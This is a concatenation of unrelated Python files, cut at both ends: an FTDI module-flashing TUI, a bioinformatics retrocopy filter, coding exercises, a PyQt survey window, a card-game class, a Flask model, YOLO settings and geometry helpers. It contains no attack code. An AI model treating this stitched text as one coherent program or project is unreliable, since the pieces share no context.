            nameStr = str(device[0].sn)+"("+str(device[0].bus)+":"+str(device[0].address)+")"
            configType = ModuleConfigs.UNKNOWN
            for config in ModuleConfigs:
                if devices[device] == config.configSet and config.canIdentify:
                    configType = config
            checkBox = None
            for oldCheckBox in self.walker.contents:
                if oldCheckBox.device == device and oldCheckBox.config == configType:
                    checkBox = oldCheckBox
                    break
            if checkBox is None:
                if configType is not ModuleConfigs.UNKNOWN and configType.flashableDevice:
                    checkBox = ModuleCheckBox(nameStr+":"+configType.name, device, configType)
                else:
                    if self.attemptIdentUnknown and configType is ModuleConfigs.UNKNOWN:
                        # attempt partial idenfication of module
                        # find stored config with largest intersection with this module
                        identString = "partial("
                        closestModule = ModuleConfigs.UNKNOWN
                        closestInCommon = set()
                        for config in ModuleConfigs:
                            inCommon = devices[device] & config.configSet
                            if len(inCommon) > len(closestInCommon):
                                closestInCommon = inCommon
                                closestModule = config
                        identString += closestModule.name+"+{"
                        settingPairStrings = []
                        # print difference between module and closest config
                        for settingPair in (devices[device]-closestInCommon):
                            settingPairStrings.append(settingPair[0]+":"+repr(settingPair[1]))
                        identString += ','.join(settingPairStrings)
                        identString += "})"
                    else:
                        identString = configType.name
                    checkBox = ModuleTextBox(nameStr+":"+identString, device, configType)

            buttons.append(checkBox)
        self.walker[:]=buttons

    def selectAll(self, button, config=None):
        for checkBox in self.walker.contents:
            if isinstance(checkBox, urwid.CheckBox):
                if config is None or checkBox.config is config:
                    checkBox.set_state(True)

    def deSelectAll(self, button):
        for checkBox in self.walker.contents:
            if isinstance(checkBox, urwid.CheckBox):
                checkBox.set_state(False)

    def invertSelection(self, button):
        for checkBox in self.walker.contents:
            if isinstance(checkBox, urwid.CheckBox):
                checkBox.toggle_state()

    def getSelectedDevices(self, config):
        devices = []
        for checkBox in self.walker.contents:
            if isinstance(checkBox, urwid.CheckBox) and checkBox.get_state() and checkBox.config != config:
                devices.append(checkBox.device)
        return devices

# UI widget that displays the command menu
class CommandListWidget(urwid.WidgetWrap):
    def __init__(self, ftdiInterface, moduleList, loop, allowAllConfigs, dryRun):
        self.ftdiInterface = ftdiInterface
        self.moduleList = moduleList
        self.loop = loop
        self.dryRun = dryRun
        if dryRun:
            dryRunText = "Dry Run "
        else:
            dryRunText = ""
        walker = urwid.SimpleListWalker([])
        for config in ModuleConfigs:
            if config.canIdentify and config.flashableDevice:
                walker.contents.append(urwid.Button('Select all '+config.name, on_press=self.moduleList.selectAll, user_data=config))

        selectGroupButtons = [
                urwid.Button('Select all', on_press=self.moduleList.selectAll),
                urwid.Button('Deselect all', on_press=self.moduleList.deSelectAll),
                urwid.Button('Invert selection', on_press=self.moduleList.invertSelection),
                urwid.Divider('-'),
                ]
        walker.contents.extend(selectGroupButtons)

        for config in ModuleConfigs:
            if (config.flashableConfig or (allowAllConfigs and config.canIdentify)) and config.flashableDevice:
                walker.contents.append(urwid.Button(dryRunText+'Program as '+config.name, on_press=self.scanAndConfirmProgram, user_data=config ))

        genButtons = [
                urwid.Divider('-'),
                urwid.Button('Rescan', on_press=self.moduleList.updateModuleCheckBoxes),
                urwid.Button('Quit', on_press=self.quitApp)
            ]
        walker.contents.extend(genButtons)
        urwid.WidgetWrap.__init__(self, urwid.ListBox(walker))

    def quitApp(self, button=None):
        raise urwid.ExitMainLoop()

    def programSelected(self, loop, userData):
        (config, devices) = userData
        programmingPopup = ProgressPopUp(self.loop, self.moduleList.updateModuleCheckBoxes)
        boxTitle = ""
        if self.dryRun:
            boxTitle += "DRY RUN: NOT "
        boxTitle += "Programming {0} modules with {1}".format(len(devices),config.name)
        programmingPopup.open(boxTitle, len(devices))
        programmingPopup.draw()
        programmingPopup.setProgress(0)
        for device in devices:
            self.ftdiInterface.programModule(device, config)
            programmingPopup.setProgress(devices.index(device)+1)
            programmingPopup.draw()
        programmingPopup.setDone()

    def scanAndConfirmProgram(self, button, config):
        devices = self.moduleList.getSelectedDevices(config)
        if len(devices)<1:
            errorPopup = MessagePopUp(self.loop, "Either no modules are selected or they are all already programmed as {0}.\nPlease select some modules and try again.".format(config.name), "None Selected?")
            errorPopup.open()
        else:
            confirmPopup = ConfirmPopUp(self.loop, "Are you sure you want to flash {0} modules with {1}?".format(len(devices), config.name), "Program Module?", self.programSelected, (config, devices))
            confirmPopup.open()

class TunerFTDIConfigUtil(object):
    def __init__(self, dryRun=True, allowAllConfigs=False, attemptIdentUnknown=False):
        colsBox = urwid.Columns([], 1)
        titlebox = urwid.AttrMap(urwid.Text('Tuner FTDI module configuration utility', align='center'), 'title')
        footerbox = urwid.AttrMap(urwid.Text(["To navigate use the keyboard or the mouse on compatible consoles"]), 'footer')

        main = urwid.Frame(colsBox, titlebox, footerbox)
        background = urwid.AttrMap(urwid.SolidFill(), 'bg')
        top = urwid.Overlay(main, background,
            align='center', width=('relative', 80),
            valign='middle', height=('relative', 80),
            min_width=20, min_height=5)

        # urwid colour pallette
        pallette = [
            ('ProgressBack', 'white', 'dark blue'),
            ('ProgressFore', 'white', 'dark red'),
            ('bg', 'black', 'dark blue'),
            ('title', 'white, bold', 'dark red'),
            ('heading', 'white, bold', 'default'),
            ('footer', 'black', 'light gray'),
            ('highlight', 'light blue', 'light gray'),
            ('reversed', 'standout', '')
        ]

        self.loop = urwid.MainLoop(top, palette=pallette)

        ftdiInterface = ModulesInterface(dryRun)
        moduleList = ModuleListWidget(ftdiInterface, attemptIdentUnknown)

        commandList = CommandListWidget(ftdiInterface, moduleList, self.loop, allowAllConfigs, dryRun)

        colsBox.contents.append((urwid.LineBox(commandList, title="Commands"), colsBox.options()))
        colsBox.contents.append((urwid.LineBox(moduleList, title="Modules"), colsBox.options()))

    def run(self):
        self.loop.run()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Tuner FTDI module configuration utility")
    parser.add_argument("-u", "--update", action="store_true", help="Enable actual updates")
    parser.add_argument("-x", "--extra-configs", action="store_true", help="Allow flashing of all identifyable configs")
    parser.add_argument("-i", "--attempt-ident-unknown", action="store_true", help="Attempt to partially identify unknown modules")
    args = parser.parse_args()
    ftdiUI = TunerFTDIConfigUtil(not args.update, args.extra_configs, args.attempt_ident_unknown)
    ftdiUI.run()


'''
Given a set of mBED files with transcripts, retrocopies, and parent transcripts,
find the retrocopies that are specific to each. Write results to files.
'''

import tempfile as tf
import os
import subprocess

def get_rc_dict(filename):
    rc_dict = {}
    with open(filename, 'r') as f:
        for line in f:
            retrocopy = line.strip().split()[9]
            try:
                rc_dict[retrocopy].append(line)
            except KeyError:
                rc_dict[retrocopy] = [line]

    return rc_dict

def get_spec_retrocopies(input_fname_list):

    input_dicts = {fn:get_rc_dict(fn) for fn in input_fname_list}

    for fn in input_fname_list:
        others = [input_dicts[k].keys() for k in input_fname_list if k != fn]
        spec_retrocopies = set(input_dicts[fn].keys()).difference(*map(set, others))

        out_fn = os.path.join(
            os.path.dirname(fn),
            "spec_expr_retrocopies.mbed"
        )
        out_lines = ""
        for rc in list(spec_retrocopies):
            for line in input_dicts[fn][rc]:
                out_lines += line

        with tf.NamedTemporaryFile() as tmp:
            tmp.write(out_lines)
            tmp.flush()
            subprocess.check_output("sort -k1,1 -k2,2n %s > %s" % (tmp.name, out_fn), shell=True)

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--input_fname", action="append")
    args = parser.parse_args()

    get_spec_retrocopies(args.input_fname)


# Sort by Column
# Description
# Given a 2D NumPy array, sort it by the 1st column. Print the final sorted array as a NumPy array only.
# Note: If two values in the 1st column are equal then the column in which the 2nd column value is lesser should come first. If the value in the second column is also the same then go to the third value and so on.
# Example:
# Input 1:
# [[9 3 2]
#  [4 0 1]
#  [5 8 6]]
# Output 2:
# [[4 0 1]
#  [5 8 6]
#  [9 3 2]]
# Input 2:
# [[9 3 2]
#  [4 0 1]
#  [9 8 6]]
# Output 2:
# [[4 0 1]
#  [9 3 2]
#  [9 8 6]]
# Explanation:
# Example 1: Notice that the values in the first column are sorted. Also notice that the whole row should be moved and not just the individual values in the first column. For example, the row with the smallest value, i.e. 4 was moved as a whole.
# Example 2: Since this time the first row contains two 9s, the row in which the value in the second column is lesser came first.

# Reading the input list
import ast,sys
input_str = sys.stdin.read()
input_list = ast.literal_eval(input_str)

# Import the NumPy package
import numpy as np

# Converting the list to a NumPy array
n_array = np.array(input_list)

for i in range(len(n_array[0])):
    n_array = n_array[n_array[:,-1-i].argsort()]

print(n_array)


from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QMainWindow

class Instruction1(QMainWindow):
    """
    Class with instruction for the second step of test
    """

    def __init__(self, parent=None):
        """
        Initializing the page:

        :param parent: class-parent
        """
        super(Instruction1, self).__init__(parent)
        self.parent = parent
        self.setWindowTitle("Instruction")
        self.resize(866, 600)
        self.central_widget = QtWidgets.QWidget()
        self.gridLayout = QtWidgets.QGridLayout(self.central_widget)
        self.gridLayout.setContentsMargins(30, 30, 30, 20)
        self.widget = QtWidgets.QWidget(self.central_widget)
        self.widget.setStyleSheet("background-color: rgb(234, 222, 213);\n"
                                  "border-radius: 26px;")
        self.grid_layout_2 = QtWidgets.QGridLayout(self.widget)
        self.grid_layout_2.setContentsMargins(20, 20, 20, 20)
        self.second_text = QtWidgets.QLabel(self.widget)
        self.second_text.setMinimumSize(QtCore.QSize(200, 20))
        self.second_text.setMaximumSize(QtCore.QSize(1000, 40))
        self.second_text.setFont(QtGui.QFont('Roboto', 14))
        self.second_text.setStyleSheet("color: rgb(96, 59, 0);")
        self.second_text.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)
        self.grid_layout_2.addWidget(self.second_text, 7, 2, 1, 1)
        self.first_text = QtWidgets.QLabel(self.widget)
        self.first_text.setMaximumSize(QtCore.QSize(16777215, 120))
        self.first_text.setFont(QtGui.QFont('Roboto Medium', 14))
        self.first_text.setStyleSheet("color: rgb(96, 59, 0);")
        self.first_text.setAlignment(QtCore.Qt.AlignCenter)
        self.grid_layout_2.addWidget(self.first_text, 6, 0, 1, 6)
        self.third_text = QtWidgets.QLabel(self.widget)
        self.third_text.setMaximumSize(QtCore.QSize(300, 16777215))
        self.third_text.setFont(QtGui.QFont('Roboto Medium', 14))
        self.third_text.setStyleSheet("color: rgb(96, 59, 0);")
        self.grid_layout_2.addWidget(self.third_text, 7, 3, 1, 1)
        self.bottom_text = QtWidgets.QLabel(self.widget)
        self.bottom_text.setMaximumSize(QtCore.QSize(16777215, 70))
        self.bottom_text.setFont(QtGui.QFont('Roboto', 14))
        self.bottom_text.setStyleSheet("color: rgb(96, 59, 0);")
        self.bottom_text.setAlignment(QtCore.Qt.AlignCenter)
        self.grid_layout_2.addWidget(self.bottom_text, 8, 0, 1, 6)
        self.horizontalLayout = QtWidgets.QHBoxLayout()
        self.not_important_label = QtWidgets.QLabel(self.widget)
        self.not_important_label.setMinimumSize(QtCore.QSize(0, 50))
        self.not_important_label.setMaximumSize(QtCore.QSize(16777215, 80))
        self.not_important_label.setFont(QtGui.QFont('Roboto', 12))
        self.not_important_label.setStyleSheet("color: rgb(96, 59, 0);\n"
                                               "background-color: rgb(237, 207, 159);\n"
                                               "border-radius:0px;")
        self.not_important_label.setAlignment(QtCore.Qt.AlignCenter)
        self.horizontalLayout.addWidget(self.not_important_label)
        self.important_label = QtWidgets.QLabel(self.widget)
        self.important_label.setMaximumSize(QtCore.QSize(16777215, 80))
        self.important_label.setFont(QtGui.QFont('Roboto', 12))
        self.important_label.setStyleSheet("color: rgb(96, 59, 0);\n"
                                           "background-color: rgb(237, 207, 159);\n"
                                           "border-radius:0px;")
        self.important_label.setAlignment(QtCore.Qt.AlignCenter)
        self.horizontalLayout.addWidget(self.important_label)
        self.very_important_label = QtWidgets.QLabel(self.widget)
        self.very_important_label.setMaximumSize(QtCore.QSize(16777215, 80))
        self.very_important_label.setFont(QtGui.QFont('Roboto', 12))
        self.very_important_label.setStyleSheet("color: rgb(96, 59, 0);\n"
                                                "background-color: rgb(237, 207, 159);\n"
                                                "border-radius:0px;")
        self.very_important_label.setAlignment(QtCore.Qt.AlignCenter)
        self.horizontalLayout.addWidget(self.very_important_label)
        self.grid_layout_2.addLayout(self.horizontalLayout, 3, 0, 1, 6)
        self.top_label = QtWidgets.QLabel(self.widget)
        self.top_label.setMaximumSize(QtCore.QSize(16777215, 40))
        self.top_label.setFont(QtGui.QFont('Roboto', 14))
        self.top_label.setStyleSheet("color: rgb(96, 59, 0);")
        self.top_label.setAlignment(QtCore.Qt.AlignCenter)
        self.grid_layout_2.addWidget(self.top_label, 0, 0, 1, 6)
        self.gridLayout.addWidget(self.widget, 0, 0, 1, 3)
        spacer_item = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
        self.gridLayout.addItem(spacer_item, 2, 2, 1, 1)
        self.ok_button = QtWidgets.QPushButton(self.central_widget)
        self.ok_button.clicked.connect(lambda: self.close())
        self.ok_button.setFont(QtGui.QFont('Roboto', 14))
        self.ok_button.setMinimumSize(QtCore.QSize(112, 44))
        self.ok_button.setMaximumSize(QtCore.QSize(112, 44))
        self.ok_button.setStyleSheet("QPushButton {\n"
                                     "background-color: #389CD8;\n"
                                     "color: rgb(255, 255, 255);\n"
                                     "border-radius : 22;\n"
                                     "border-bottom : 2px solid #2E93CF;\n"
                                     "border-right: 2px solid #2E93CF;\n"
                                     "}\n"
                                     "QPushButton::hover {\n"
                                     "background-color: #2E93CF;\n"
                                     "color: rgb(255, 255, 255);\n"
                                     "border-radius : 22;\n"
                                     "}")
        self.gridLayout.addWidget(self.ok_button, 2, 1, 1, 1)
        self.gridLayout.addItem(spacer_item, 2, 0, 1, 1)
        self.label_9 = QtWidgets.QLabel(self.central_widget)
        self.label_9.setMinimumSize(QtCore.QSize(0, 10))
        self.label_9.setMaximumSize(QtCore.QSize(16777215, 10))
        self.label_9.setText("")
        self.gridLayout.addWidget(self.label_9, 1, 1, 1, 1)
        self.setCentralWidget(self.central_widget)

        self.retranslate_ui()

    def retranslate_ui(self):
        """
        Setting text to labels:

        :return: None
        """
        _translate = QtCore.QCoreApplication.translate
        self.second_text.setText(_translate("MainWindow", "We also would like you to sort"))
        self.first_text.setText(_translate("MainWindow", "On the right is a stack of 50 cards. Each card describes \n"
                                                         "something that may represent a personal value for you. We \n"
                                                         "would like you to look at each card and place each card \n"
                                                         "under one of the three title cards. "))
        self.third_text.setText(_translate("MainWindow", "all 50 cards."))
        self.bottom_text.setText(
            _translate("MainWindow", "After you are finished with this part, you will be asked to do \n"
                                     "one other small task."))
        self.not_important_label.setText(_translate("MainWindow", "NOT IMPORTANT TO ME"))
        self.important_label.setText(_translate("MainWindow", "IMPORTANT TO ME"))
        self.very_important_label.setText(_translate("MainWindow", "VERY IMPORTANT TO ME"))
        self.top_label.setText(_translate("MainWindow", "There are three title cards in front of you:"))
        self.ok_button.setText(_translate("MainWindow", "OK"))


"""A `ASMACAG.Game.GameState.GameState` view for a particular `ASMACAG.Players.Player.Player` where the
non-observable parts have been randomized."""
import random
import Game

class Observation:
    """A `ASMACAG.Game.GameState.GameState` view for a particular `ASMACAG.Players.Player.Player` where the
    non-observable parts have been randomized."""
    def __init__(self, game_state: "ASMACAG.Game.GameState.GameState", randomise_hidden_info: bool = True):
        if game_state is not None:
            self.game_parameters = game_state.game_parameters
            self.current_turn = game_state.current_turn
            self.player_0_hand = game_state.player_0_hand.clone()
            self.player_1_hand = game_state.player_1_hand.clone()
            self.board = game_state.board.clone()
            self.main_deck = game_state.main_deck.clone()
            self.discard_deck = game_state.discard_deck.clone()
            self.player_0_score = game_state.player_0_score
            self.player_1_score = game_state.player_1_score
            self.factor = game_state.factor
            self.action_points_left = game_state.action_points_left
            if randomise_hidden_info:
                self.randomise()

# region Methods
    def clone(self) -> "Observation":
        """Creates a deep copy of the `Observation` and returns it."""
        new_observation = Observation(None)
        new_observation.game_parameters = self.game_parameters
        new_observation.current_turn = self.current_turn
        new_observation.player_0_hand = self.player_0_hand.clone()
        new_observation.player_1_hand = self.player_1_hand.clone()
        new_observation.board = self.board.clone()
        new_observation.main_deck = self.main_deck.clone()
        new_observation.discard_deck = self.discard_deck.clone()
        new_observation.player_0_score = self.player_0_score
        new_observation.player_1_score = self.player_1_score
        new_observation.factor = self.factor
        new_observation.action_points_left = self.action_points_left
        return new_observation

    def copy_into(self, other: "Observation") -> None:
        """Deep copies the `Observation` contents into another one."""
        other.game_parameters = self.game_parameters
        other.current_turn = self.current_turn
        self.player_0_hand.copy_into(other.player_0_hand)
        self.player_1_hand.copy_into(other.player_1_hand)
        self.board.copy_into(other.board)
        self.main_deck.copy_into(other.main_deck)
        self.discard_deck.copy_into(other.discard_deck)
        other.player_0_score = self.player_0_score
        other.player_1_score = self.player_1_score
        other.factor = self.factor
        other.action_points_left = self.action_points_left

    def randomise(self) -> None:
        """Randomises the `Observation` to get a new possible state of the `ASMACAG.Game.Game.Game`."""
        # shuffle together all non-visible cards in the main deck
        self.main_deck.add_cards(self.player_1_hand if self.current_turn == 0 else self.player_0_hand)
        self.main_deck.shuffle()

        # draw cards to opponent hand
        if self.current_turn == 0:
            for _ in range(self.game_parameters.amount_cards_on_hand):
                self.player_1_hand.add_card(self.main_deck.draw())
        else:
            for _ in range(self.game_parameters.amount_cards_on_hand):
                self.player_0_hand.add_card(self.main_deck.draw())

    def is_action_valid(self, action: "ASMACAG.Game.Action.Action") -> bool:
        """Checks if the given `ASMACAG.Game.Action.Action` is currently valid."""
        hand = self.player_0_hand if self.current_turn == 0 else self.player_1_hand
        if action.get_played_card().get_type() == Game.CardType.NUMBER:
            return action.get_played_card() in hand.get_cards() and action.get_board_card() in self.board.get_cards()
        else:
            return action.get_played_card() in hand.get_cards()
# endregion

# region Getters and Setters
    def get_actions(self) -> "list[ASMACAG.Game.Action.Action]":
        """Gets a list of the currently possible `ASMACAG.Game.Action.Action`."""
        actions = []
        hand = self.player_0_hand if self.current_turn == 0 else self.player_1_hand

        for card in set(hand.get_cards()):
            if card.get_type() == Game.CardType.NUMBER:
                for board_card in set(self.board.get_cards()):
                    actions.append(Game.Action(card.clone(), board_card.clone()))
            else:
                actions.append(Game.Action(card.clone()))
        return actions

    def get_random_action(self) -> "ASMACAG.Game.Action.Action":
        """Gets a random `ASMACAG.Game.Action.Action` that is currently valid."""
        hand = self.player_0_hand if self.current_turn == 0 else self.player_1_hand

        hand_card = random.choice(hand.get_cards())
        if hand_card.get_type() == Game.CardType.NUMBER:
            return Game.Action(hand_card.clone(), random.choice(self.board.get_cards()).clone())
        else:
            return Game.Action(hand_card.clone())
# endregion

# region Overrides
    def __str__(self):
        return (f"TURN: {self.current_turn!s}\n"
                f"BOARD: {self.board!s}\n"
                f"HAND P1: {self.player_0_hand!s}\n"
                f"SCORE P1: {self.player_0_score!s}\n"
                f"HAND P2: {self.player_1_hand!s}\n"
                f"SCORE P2: {self.player_1_score!s}\n"
                f"FACTOR: {self.factor!s}\n"
                f"ACTION POINTS LEFT: {self.action_points_left!s}")
# endregion


"""
====== Test the RL agent on each param and find the worst range ======
"""

import os
import argparse
from rl_heuristic_agents import *

def parse_args():
    parser = argparse.ArgumentParser(
        description="BO testing script.")
    parser.add_argument( "--testing_param" ,type=str,
                         required=True ,help='current testing param' )
    parser.add_argument("--testing_range", type=float,
                        required=True, help='current testing range')
    parser.add_argument("--model_path", type=str, required=True,
                        help='saved model path')

    return parser.parse_args()

def main():
    '''
    model training process,
    save the trained model to nn_model_path
    '''

    args = parse_args()

    rl_agent = RLAgent()
    rl_test_reeward = rl_agent.testing_agent(env_range=args.testing_range, nn_model_path=args.model_path)

    rule_agent = RuleBasedAgent()
    rule_test_reward = rule_agent.rule_based_agent_test(env_range=args.testing_range)

    bo_reward = rule_test_reward - rl_test_reeward
    print(bo_reward)

if __name__ == '__main__':
    main()


#!/usr/bin/env python

"""
https://leetcode.com/problems/reverse-nodes-in-k-group/description/

Given a linked list, reverse the nodes of a linked list k at a
time and return its modified list.

k is a positive integer and is less than or equal to the length of
the linked list.

If the number of nodes is not a multiple of k then left-out nodes
in the end should remain as it is.

You may not alter the values in the nodes, only nodes itself may be changed.

Only constant memory is allowed.

For example,
Given this linked list: 1->2->3->4->5

For k = 2, you should return: 2->1->4->3->5

For k = 3, you should return: 3->2->1->4->5

https://leetcode.com/problems/reverse-nodes-in-k-group/discuss/11491/Succinct-iterative-Python-O(n)-time-O(1)-space
"""

# Definition for singly-linked list.

class ListNode(object):
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution(object):
    def reverseKGroup(self, head, k):
        """
        :type head: ListNode
        :type k: int
        :rtype: ListNode
        """
        def reverse(node, k):
            # test if there's enough k
            # if there's enought k, reverse it, otherwise, return what it is.
            test_node = node
            tcnt = 0
            valid = False

            while test_node:
                tcnt += 1

                if tcnt == k:
                    valid = True
                    break
                test_node = test_node.next

            if not valid:
                return node, None, None

            cnt = 0
            onode = node
            pnode = None
            nnode = None

            while node:
                nnode = node.next
                node.next = pnode
                pnode = node

                if cnt == k - 1:
                    break

                node = nnode
                cnt += 1

            return pnode, onode, nnode

        nnode = head
        tmpnode = None
        ret_node = None

        while nnode:
            pnode, onode, nnode = reverse(nnode, k)

            if not ret_node:
                ret_node = pnode

            if tmpnode:
                tmpnode.next = pnode

            tmpnode = onode

        return ret_node

    def reverseKGroup_sol2(self, head, k):
        """
        :type head: ListNode
        :type k: int
        :rtype: ListNode
        """
        dummy = jump = ListNode(0)
        dummy.next = l = r = head

        while True:
            count = 0

            while r and count < k:   # use r to locate the range
                r = r.next
                count += 1

            if count == k:  # if size k satisfied, reverse the inner linked list
                pre, cur = r, l

                # 聰明! 學起來~~
                for _ in range(k):
                    cur.next, cur, pre = pre, cur.next, cur  # standard reversing

                jump.next, jump, l = pre, l, r  # connect two k-groups
            else:
                return dummy.next

def build():
    li = ListNode(1)
    li.next = ListNode(2)
    li.next.next = ListNode(3)
    li.next.next.next = ListNode(4)
    li.next.next.next.next = ListNode(5)
    return li, 3

if __name__ == "__main__":

    s = Solution()
    ll = s.reverseKGroup(*build())

    while ll:
        print(ll.val)
        ll = ll.next


from flask_app.config.mysqlconnection import connectToMySQL
from flask import flash
from flask_app.models.user import User

class Friend:
    def __init__(self,data):
        self.id = data['id']
        self.name = data['name']
        self.created_at = data['created_at']
        self.updated_at = data['updated_at']
        self.user = None

    @classmethod
    def get_all(cls):
        query = "SELECT * FROM friends;"
        results = connectToMySQL('post_page').query_db(query)
        all_friends = []
        for u in results:
            all_friends.append( cls(u) )
        return all_friends

    @classmethod
    def validate_friend(cls,data):
        is_valid = True
        if len(data["name"]) == 0:
            flash("Must pick a Name.")
            is_valid = False
        return is_valid

    @classmethod
    def friend_add(cls, data):
        query = "INSERT into friends (name,user_id) values (%(name)s,%(user_id)s);"
        result = connectToMySQL('post_page').query_db(query, data)
        return result

    @classmethod
    def unadd(cls, friends_id):
        query = "DELETE from friends WHERE id = %(id)s;"
        data = {
            "id": friends_id
        }
        connectToMySQL('post_page').query_db(query,data)
        return friends_id


"Task 8 part A, Conor Christensen, 27837831."

days = int(input("Please enter the number of days in the selected month: "))
print("Please enter in the temperature for the days sequentially, following each temperature with the return key: ")
templist = []
sortedmessage = "Here is your list of temperatures in increasing order: "
found = "The temperature is in the month."
notfound = "The temperature is not in the month."
for i in range(days):
    templist.append(int(input()))

temp = int(input("Please enter in the temperature you wish to find: "))
#now we use selection sort:
def sort(alist):
    j=1
    for i in range(len(alist)):
        minimum = alist[i]
        swap = False
        for n in range(-len(alist)+j,0):

            if alist[n] <= minimum:
                minimum = alist[n]
                index = n
                swap = True
        if swap == True:
            temp = alist[i]
            alist[i] = minimum
            alist[index] = temp

        j+=1
    return alist

def binarySearch(alist, target, lowestindex, highestindex):
    if (highestindex < lowestindex):
        return False
    else:
        middleindex = lowestindex + ((highestindex - lowestindex) // 2)
        if alist[middleindex] > target:
            return binarySearch(alist, target, lowestindex, middleindex-1)
        elif alist[middleindex] < target:
            return binarySearch(alist, target, middleindex+1, highestindex)
        else:
            return True

print(sortedmessage)
print(sort(templist))

if binarySearch(templist, temp, 0, days-1) == True:
    print(found)

if binarySearch(templist, temp, 0, days-1) == False:
    print(notfound)


from torchvision import transforms

"""
------dataset参数------
IMAGE_WIDTH:图片的宽
IMAGE_HEIGHT：图片的高
CLASS_NUM：分类数
LABEL_FILE：标签文本路径
IMG_BASE_DIR：图片存放路径
TRANSFORM：图片转换格式
ANCHOR_GROUPS：锚框组
ANCHOR_GROUPS_AREA：各锚框的面积
CATEGORY_NAME：分类名
"""

IMAGE_WIDTH = 416
IMAGE_HEIGHT = 416

CLASS_NUM = 5

LABEL_FILE = "/home/yzs/myproject/yolo-v3/Anno/label.txt"
IMG_BASE_DIR = "/home/yzs/myproject/yolo-v3/img"

TRANSFORM = transforms.Compose([
    transforms.Resize((416, 416)),
    transforms.ToTensor(),
    transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))
])

ANCHOR_GROUPS = {
    13: [[116, 90], [156, 198], [373, 326]],
    26: [[30, 61], [62, 45], [59, 119]],
    52: [[10, 13], [16, 30], [33, 23]]
}
#
# ANCHOR_GROUPS_AREA = {
#     13: [x * y for x, y in ANCHOR_GROUPS[13]],
#     26: [x * y for x, y in ANCHOR_GROUPS[26]],
#     52: [x * y for x, y in ANCHOR_GROUPS[52]],
# }

# CATEGORY_NAME = {
#     0: "person",
#     1: "cat",
#     2: "computer",
#     3: "bicycle",
#     4: "elephant",
#     5: "horse",
#     6: "motor",
#     7: "window",
#     8: "lamp",
#     9: "sofa"
# }

"""
------trainer参数-----
TRAIN_BATCH_SIZE：训练的批次
VAL_BATCH_SIZE：验证的批次
IS_SHUFFLE：是否打乱
NUM_WORKERS：加载数据的线程
EPOCH：训练的批次
alpha：系数
"""

# TRAIN_BATCH_SIZE = 5
# VAL_BATCH_SIZE = 5
# IS_SHUFFLE = "True"
# NUM_WORKERS = 2
# EPOCH = 10000
# alpha = 0.9

"""
------detector参数-----
"""

TRAIN_BATCH_SIZE = 5
NUM_WORKERS = 2
EPOCH = 10000
alpha = 0.9
# CATEGORY_NAME = {
#     0: "person",
#     1: "cat",
#     2: "computer",
#     3: "bicycle",
#     4: "elephant",
#     5: "horse",
#     6: "motor",
#     7: "window",
#     8: "lamp",
#     9: "sofa"
# }

CATEGORY_NAME = {
    0: "ChenWeiTing",
    1: "ZhangBaiZhi",
    2: "XieTingFeng",
    3: "HuangZongZe",
    4: "LiuDeHua",
}
ANCHOR_GROUPS_AREA = {
    13: [x * y for x, y in ANCHOR_GROUPS[13]],
    26: [x * y for x, y in ANCHOR_GROUPS[26]],
    52: [x * y for x, y in ANCHOR_GROUPS[52]],
}


#!C:\Users\1022589\PycharmProjects\Files\venv\Scripts\python.exe
# -*- coding: utf-8 -*-

from pprint import pprint
import sys
import clg
from collections import OrderedDict

# Command-line configuration.
OPTIONS = OrderedDict()
OPTIONS['prog'] = {'short': 'p',
                   'required': True,
                   'help': 'Program name'}
OPTIONS['conf'] = {'short': 'c',
                   'required': True,
                   'metavar': 'FILEPATH',
                   'help': 'Configuration file of the command.'}
OPTIONS['format'] = {'short': 'f',
                     'required': True,
                     'choices': ['yaml', 'json'],
                     'help': 'Format of configuration file.'}
OPTIONS['output'] = {'short': 'o',
                     'required': True,
                     'metavar': 'FILEPATH',
                     'help': 'Output file.'}
OPTIONS['ignore_opts'] = {'short': 'i',
                          'action': 'store_true',
                          'help': "When there are subcommands, don't complete "
                                  "options. With simple completion, completion "
                                  "is generate alphabetically but ignoring "
                                  "dashes of options which can generate an "
                                  '"ugly" result.'}

BASH_OPTS = OPTIONS.copy()
ZSH_OPTS = OPTIONS.copy()
ZSH_OPTS['simple'] = {'short': 's',
                      'action': 'store_true',
                      'help': "Generate completion without printing the "
                              "descriptions of options and subcommands."}

PARSERS = OrderedDict()
PARSERS['bash'] = {'options': BASH_OPTS}
PARSERS['zsh'] = {'options': ZSH_OPTS}
CMD = {'subparsers': PARSERS}

def main():
    cmd = clg.CommandLine(CMD)
    args = cmd.parse()

    if args.format == 'yaml':
        import yaml
        import yamlordereddictloader
        config = yaml.load(open(args.conf),
                           Loader=yamlordereddictloader.Loader)
    elif args.format == 'json':
        import simplejson as json
        config = json.loads(open(args.conf,
                            object_pairs_hook=OrderedDict))

    gen_cmd = clg.CommandLine(config)
    function = 'gen_%s_completion' % args.command0
    function_args = [args.prog]
    function_kwargs = {'ignore_opts': args.ignore_opts}
    if args.command0 == 'zsh':
        function_kwargs['simple'] = args.simple
    completion = getattr(gen_cmd, function)(*function_args, **function_kwargs)
    print(completion)

    with open(args.output, 'w') as fhandler:
        fhandler.write(completion)

if __name__ == '__main__':
    main()


from math import sqrt
from typing import Tuple
import numpy as np

import library.constants

def distance(
    point_1: Tuple[float, float],
    point_2: Tuple[float, float]
) -> float:
    return sqrt(
        (point_1[0] - point_2[0])**2
        + (point_1[1] - point_2[1])**2)

def line_eqtn_from_2_points(
    line_start: Tuple[float, float],
    line_end: Tuple[float, float]
) -> Tuple[float, float, float]:
    """
    Finds equation of the line (in form Ax + By = C) from 2 given
    points.  If the points coincide, returns an equation of a line
    parallel to y axis.  Result is a tuple (A, B, C)
    """
    (x1, y1) = line_start
    (x2, y2) = line_end
    a, b = 0, 0
    if x1 != x2:
        b = 1
        a = -b*(y1-y2)/(x1-x2)
    elif y1 != y2:
        a = 1
        b = -a*(x1-x2)/(y1-y2)
    else:
        # The points coincide; Let's assume the line is vertical
        a = 1
        b = 0
    c = a*x1 + b*y1
    return (a, b, c)

def point_in_box(
    point: Tuple[float, float],
    box_corner_1: Tuple[float, float],
    box_corner_2: Tuple[float, float]
) -> bool:
